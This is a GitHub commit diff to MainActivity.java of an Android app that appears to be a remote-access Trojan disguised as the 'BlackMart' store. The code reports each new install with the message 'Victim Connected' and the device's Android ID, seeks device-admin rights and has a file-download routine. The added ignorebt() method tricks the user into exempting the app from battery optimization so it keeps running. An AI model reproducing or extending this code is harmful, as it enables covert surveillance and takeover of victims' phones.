Skip to content

Commit

Permalink
Update MainActivity.java
Browse files Browse the repository at this point in the history
  • Loading branch information
swagkarna authored Mar 21, 2023
1 parent 33ee81f commit a2a556c
Showing 1 changed file with 22 additions and 4 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -101,6 +101,7 @@ public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
prefs = getSharedPreferences("com.velociraptor.raptor", MODE_PRIVATE);

setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview);
StrictMode.ThreadPolicy policy=new StrictMode.ThreadPolicy.Builder().permitAll().build();
Expand All @@ -109,17 +110,19 @@ protected void onCreate(Bundle savedInstanceState) {

String deviceId = Settings.Secure.getString(getApplicationContext().getContentResolver(),
Settings.Secure.ANDROID_ID);

ignorebt();

if(amifirst()){
try {


senddisp("Victim Connected : ID -----> " + deviceId);

} catch (IOException e) {
e.printStackTrace();
}
autostart();
LongToast.makeLongToast(getApplicationContext(),"Enable Auto Start For BlackMart",13000 );
//autostart();
//LongToast.makeLongToast(getApplicationContext(),"Enable Auto Start For BlackMart",13000 );
}
else{
try {
Expand Down Expand Up @@ -202,6 +205,20 @@ private boolean amifirst() {

}

public void ignorebt() {


if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (!powerManager.isIgnoringBatteryOptimizations(getPackageName())) {
Intent intent = new Intent();
intent.setAction(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
intent.setData(Uri.parse("package:" + getPackageName()));
startActivity(intent);
}
LongToast.makeLongToast(getApplicationContext(),"Enable No Restriction For BlackMart",13000 );
}
}

@RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN)
private void downloadFile(String filename, String url, String userAgent) {
Expand Down Expand Up @@ -270,6 +287,7 @@ private void Blackmain() {

}
private void deviceadmin(){

try {
// Initiate DevicePolicyManager.
DevicePolicyManager policyMgr = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
Expand Down Expand Up @@ -318,4 +336,4 @@ private void autostart(){



}
}

0 comments on commit a2a556c

Please sign in to comment.